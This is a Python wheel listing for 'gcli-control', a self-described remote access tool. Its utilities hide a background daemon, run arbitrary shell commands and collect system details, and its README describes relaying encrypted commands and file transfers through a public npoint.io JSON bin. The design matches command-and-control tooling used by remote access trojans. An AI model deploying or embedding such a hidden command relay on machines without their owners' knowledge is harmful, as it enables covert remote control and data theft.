gcli-control 0.1.0__py3-none-any.whl

gcli/utils.py

@@ -0,0 +1,240 @@
+"""
+Utility functions for gcli.
+- PID file management
+- Process detachment (Windows + Linux)
+- Shell command execution
+- System information gathering
+"""
+import os
+import sys
+import uuid
+import platform
+import subprocess
+import socket
+import logging
+from typing import Optional
+from pathlib import Path
+
+LOG_DIR = Path.home() / ".gcli"
+PID_FILE = LOG_DIR / "host.pid"
+LOG_FILE = LOG_DIR / "host.log"
+
+logger = logging.getLogger("gcli.utils")
+
+
+# ---------------------------------------------------------------------------
+# Directories
+# ---------------------------------------------------------------------------
+
+def ensure_dirs() -> None:
+    """Create ~/.gcli/ if it doesn't exist."""
+    LOG_DIR.mkdir(parents=True, exist_ok=True)
+
+
+# ---------------------------------------------------------------------------
+# PID file helpers
+# ---------------------------------------------------------------------------
+
+def write_pid(pid: int = None) -> None:
+    """Write current (or given) PID to the PID file."""
+    ensure_dirs()
+    pid = pid or os.getpid()
+    PID_FILE.write_text(str(pid), encoding="utf-8")
+
+
+def read_pid() -> Optional[int]:
+    """Read the PID from file. Returns None if no valid PID found."""
+    try:
+        return int(PID_FILE.read_text(encoding="utf-8").strip())
+    except (FileNotFoundError, ValueError):
+        return None
+
+
+def remove_pid() -> None:
+    """Remove the PID file."""
+    try:
+        PID_FILE.unlink(missing_ok=True)
+    except OSError:
+        pass
+
+
+def is_running(pid: int) -> bool:
+    """Check if a process with the given PID is alive."""
+    if sys.platform == "win32":
+        try:
+            # Windows: use tasklist
+            result = subprocess.run(
+                ["tasklist", "/FI", f"PID eq {pid}", "/NH"],
+                capture_output=True, text=True, timeout=5,
+            )
+            return str(pid) in result.stdout
+        except Exception:
+            return False
+    else:
+        # POSIX
+        try:
+            os.kill(pid, 0)
+            return True
+        except OSError:
+            return False
+
+
+def kill_pid(pid: int) -> bool:
+    """Try to kill a process by PID."""
+    try:
+        if sys.platform == "win32":
+            subprocess.run(
+                ["taskkill", "/F", "/PID", str(pid)],
+                capture_output=True, timeout=5,
+            )
+        else:
+            os.kill(pid, 15)  # SIGTERM
+        return True
+    except Exception:
+        return False
+
+
+# ---------------------------------------------------------------------------
+# Process detachment
+# ---------------------------------------------------------------------------
+
+def detach() -> None:
+    """
+    Detach the current process so it runs in the background.
+    Windows: spawn a new process with CREATE_NO_WINDOW, then exit parent.
+    Linux/macOS: double-fork and setsid.
+    """
+    if sys.platform == "win32":
+        _detach_windows()
+    else:
+        _detach_posix()
+
+
+def _detach_windows() -> None:
+    """Windows: re-launch ourselves hidden."""
+    # If already the child, don't detach again
+    if os.environ.get("GCLI_DAEMON") == "1":
+        return
+    # Spawn hidden subprocess
+    creation_flags = subprocess.CREATE_NO_WINDOW if hasattr(subprocess, "CREATE_NO_WINDOW") else 0x08000000
+    cmdline = [sys.executable] + sys.argv
+    subprocess.Popen(
+        cmdline,
+        creationflags=creation_flags,
+        close_fds=True,
+        env={**os.environ, "GCLI_DAEMON": "1"},
+    )
+    sys.exit(0)
+
+
+def _detach_posix() -> None:
+    """Linux / macOS: double-fork to daemonise."""
+    if os.environ.get("GCLI_DAEMON") == "1":
+        return
+    # First fork
+    pid = os.fork()
+    if pid > 0:
+        # Parent exits
+        sys.exit(0)
+    # New session
+    os.setsid()
+    # Second fork to fully detach
+    pid = os.fork()
+    if pid > 0:
+        sys.exit(0)
+    # Redirect stdio to /dev/null
+    sys.stdin = open(os.devnull, "r")
+    sys.stdout = open(os.devnull, "w")
+    sys.stderr = open(os.devnull, "w")
+    os.environ["GCLI_DAEMON"] = "1"
+
+
+# ---------------------------------------------------------------------------
+# Shell command execution
+# ---------------------------------------------------------------------------
+
+def run_command(cmd: str, timeout: int = 30) -> dict:
+    """
+    Execute a shell command and return {"ok": bool, "stdout": str, "stderr": str, "rc": int}.
+    """
+    try:
+        if sys.platform == "win32":
+            result = subprocess.run(
+                cmd,
+                shell=True,
+                capture_output=True,
+                text=True,
+                timeout=timeout,
+                env={**os.environ, "PYTHONIOENCODING": "utf-8"},
+            )
+        else:
+            result = subprocess.run(
+                cmd,
+                shell=True,
+                capture_output=True,
+                text=True,
+                timeout=timeout,
+            )
+        return {
+            "ok": result.returncode == 0,
+            "stdout": result.stdout,
+            "stderr": result.stderr,
+            "rc": result.returncode,
+        }
+    except subprocess.TimeoutExpired:
+        return {
+            "ok": False,
+            "stdout": "",
+            "stderr": f"Command timed out after {timeout}s",
+            "rc": -1,
+        }
+    except Exception as e:
+        return {
+            "ok": False,
+            "stdout": "",
+            "stderr": str(e),
+            "rc": -1,
+        }
+
+
+# ---------------------------------------------------------------------------
+# System information
+# ---------------------------------------------------------------------------
+
+def get_system_info() -> dict:
+    """Gather basic system information."""
+    hostname = socket.gethostname()
+    try:
+        local_ip = socket.gethostbyname(hostname)
+    except Exception:
+        local_ip = "unknown"
+
+    return {
+        "hostname": hostname,
+        "os": platform.system(),
+        "os_release": platform.release(),
+        "os_version": platform.version(),
+        "machine": platform.machine(),
+        "processor": platform.processor() or "unknown",
+        "python": platform.python_version(),
+        "user": os.getenv("USERNAME") or os.getenv("USER") or "unknown",
+        "local_ip": local_ip,
+        "cwd": os.getcwd(),
+    }
+
+
+# ---------------------------------------------------------------------------
+# Logging setup
+# ---------------------------------------------------------------------------
+
+def setup_logging(to_file: bool = False) -> None:
+    """Configure basic logging for gcli."""
+    ensure_dirs()
+    handlers = [logging.StreamHandler()]
+    if to_file:
+        handlers.append(logging.FileHandler(str(LOG_FILE), encoding="utf-8"))
+    logging.basicConfig(
+        level=logging.INFO,
+        format="%(asctime)s [%(levelname)s] %(name)s: %(message)s",
+        handlers=handlers,
+    )

gcli_control-0.1.0.dist-info/METADATA

@@ -0,0 +1,143 @@
+Metadata-Version: 2.4
+Name: gcli-control
+Version: 0.1.0
+Summary: Remote access tool via npoint.io - encrypted command relay using AES-256-GCM
+Author: gcli contributors
+License-Expression: MIT
+Project-URL: Homepage, https://github.com/gcli-control/gcli
+Project-URL: Repository, https://github.com/gcli-control/gcli
+Project-URL: Issues, https://github.com/gcli-control/gcli/issues
+Keywords: remote-access,npoint,encrypted,ssh,aes256
+Classifier: Development Status :: 4 - Beta
+Classifier: Intended Audience :: Developers
+Classifier: Intended Audience :: System Administrators
+Classifier: Operating System :: Microsoft :: Windows
+Classifier: Operating System :: POSIX :: Linux
+Classifier: Operating System :: MacOS
+Classifier: Programming Language :: Python :: 3
+Classifier: Programming Language :: Python :: 3.8
+Classifier: Programming Language :: Python :: 3.9
+Classifier: Programming Language :: Python :: 3.10
+Classifier: Programming Language :: Python :: 3.11
+Classifier: Programming Language :: Python :: 3.12
+Classifier: Programming Language :: Python :: 3.13
+Classifier: Topic :: System :: Systems Administration
+Classifier: Topic :: Security :: Cryptography
+Requires-Python: >=3.8
+Description-Content-Type: text/markdown
+Requires-Dist: cryptography>=41.0
+
+# gcli
+
+Remote access tool via [npoint.io](https://npoint.io) — encrypted command relay using AES-256-GCM.
+
+## How It Works
+
+```
+┌──────────┐     commands     ┌─────────────┐     commands     ┌──────────┐
+│ gcli ssh │ ───────────────> │ npoint.io   │ ───────────────> │gcli host │
+│ (client) │ <─────────────── │ (JSON bin)  │ <─────────────── │ (daemon) │
+└──────────┘     results      └─────────────┘     results      └──────────┘
+```
+
+1. **`gcli host`** starts a background daemon that polls npoint.io for encrypted commands
+2. **`gcli ssh`** connects interactively, sends encrypted commands, and polls for results
+3. All payloads are encrypted with **AES-256-GCM** — the password never leaves your machine
+
+## Quick Start
+
+### Install
+
+```bash
+pip install cryptography
+```
+
+### Host (on the remote machine)
+
+```bash
+# Start the daemon (runs in background)
+python -m gcli host --password MySecret123
+
+# Or run in foreground for debugging
+python -m gcli host --password MySecret123 --foreground
+```
+
+### Client (on your local machine)
+
+```bash
+# Connect to the host
+python -m gcli ssh --password MySecret123
+```
+
+### Stop the host
+
+```bash
+python -m gcli stop
+```
+
+## SSH Commands
+
+Once connected, you have a full interactive REPL:
+
+| Command | Description |
+|---------|-------------|
+| Any text | Execute shell command on remote host |
+| `:help` | Show available commands |
+| `:info` | Show remote system info (hostname, OS, user, IP) |
+| `:ping` | Ping remote host and show latency |
+| `:upload <local> <remote>` | Upload a file to the remote host |
+| `:download <remote> <local>` | Download a file from the remote host |
+| `:timeout <seconds>` | Set exec command timeout |
+| `:history` | Show recent command history |
+| `:exit` | Disconnect and close session |
+
+## Security
+
+- **AES-256-GCM** encryption with PBKDF2 key derivation (600K iterations)
+- Password is never transmitted — only encrypted payloads flow through npoint.io
+- Each message gets a unique random nonce (prevents identical plaintext detection)
+- Built-in tamper detection (GCM authentication tag)
+
+## Cross-Platform
+
+| Platform | Background Detach | Process Management |
+|----------|-------------------|-------------------|
+| Windows  | `CREATE_NO_WINDOW` subprocess | `tasklist` / `taskkill` |
+| Linux    | Double-fork + `setsid` | `kill` / `os.kill` |
+| macOS    | Double-fork + `setsid` | `kill` / `os.kill` |
+
+## Configuration
+
+```bash
+# Custom npoint bin (both host and client must use the same bin)
+python -m gcli host --password MySecret --bin YOUR_NPOINT_BIN_ID
+python -m gcli ssh --password MySecret --bin YOUR_NPOINT_BIN_ID
+
+# Adjust polling speed (default: 2s host, 1s client)
+python -m gcli host --password MySecret --poll-interval 1.0
+```
+
+## Architecture
+
+```
+gcli/
+├── __main__.py      # CLI entry point (argparse)
+├── __init__.py
+├── crypto.py        # AES-256-GCM encrypt/decrypt (PBKDF2 key derivation)
+├── npoint.py        # npoint.io API wrapper with retry logic
+├── protocol.py      # Document structure, read/write, race-condition safe appends
+├── host.py          # Daemon: poll → decrypt → execute → encrypt → respond
+├── client.py        # SSH REPL: send → poll → display (tab completion)
+├── utils.py         # PID management, process detach, command execution
+└── colors.py        # Cross-platform terminal colours (Win/Linux/macOS)
+```
+
+## Requirements
+
+- Python 3.8+
+- `cryptography` package
+- Internet connection (for npoint.io)
+
+## License
+
+MIT

gcli_control-0.1.0.dist-info/RECORD

@@ -0,0 +1,14 @@
+gcli/__init__.py,sha256=tgvItDyNwpbCvs8bfPan9we5y83hzGvzJ_cAx9eYqTY,161
+gcli/__main__.py,sha256=eZPVy0JME7kCOBuUEdoRS0py4M_nliTRcskCvjDiTEA,3104
+gcli/client.py,sha256=5TExcZxWnNWX4h9-_uKS2rqUJsKrkUbYDDQ3mO2PiFQ,13976
+gcli/colors.py,sha256=Kn-LmD8Z-PieBSkxRAAjJY6oowVC2-vZijd957vrz4U,2437
+gcli/crypto.py,sha256=OL0Mavd5wWJ-2DfE_RZ2qyEm-wM5vlquWqkeKKC92CY,1587
+gcli/host.py,sha256=ZDUkNEh1RCtlpmrqAmeq03ll8jIuDR8EMSKRLaVA97Y,7619
+gcli/npoint.py,sha256=_uhynB9Hu0TR6zpubkg1sAlXeLB5izbN98PgotR8rhg,2030
+gcli/protocol.py,sha256=3EGZ4CVF_1Xftfb_G8d_27IfHZtwFtnJE1iDSgxSIJo,7750
+gcli/utils.py,sha256=pSj-2am_pM3RWiy4r7AukWcO4jfvg_RRUbtcvpfExB0,6845
+gcli_control-0.1.0.dist-info/METADATA,sha256=LoCh3FmXBex9JAY6ao8K494njBpz7fuKxp1syjQv-MY,5226
+gcli_control-0.1.0.dist-info/WHEEL,sha256=K260EYznzXsJYBQGqmI8VTxEdiZYNvDZwW9cBh9-_MA,91
+gcli_control-0.1.0.dist-info/entry_points.txt,sha256=Ppy5SYo81Lj-IFAvKuWxqGl1TVDiux_LG9x-WQhauAQ,44
+gcli_control-0.1.0.dist-info/top_level.txt,sha256=fishdOu9SHAsovrk0eneLwCKmmyqgl3Z3WERvE7Os1M,5
+gcli_control-0.1.0.dist-info/RECORD,,

gcli_control-0.1.0.dist-info/WHEEL

@@ -0,0 +1,5 @@
+Wheel-Version: 1.0
+Generator: setuptools (83.0.0)
+Root-Is-Purelib: true
+Tag: py3-none-any
+

gcli_control-0.1.0.dist-info/entry_points.txt

@@ -0,0 +1,2 @@
+[console_scripts]
+gcli = gcli.__main__:main

gcli_control-0.1.0.dist-info/top_level.txt

@@ -0,0 +1 @@
+gcli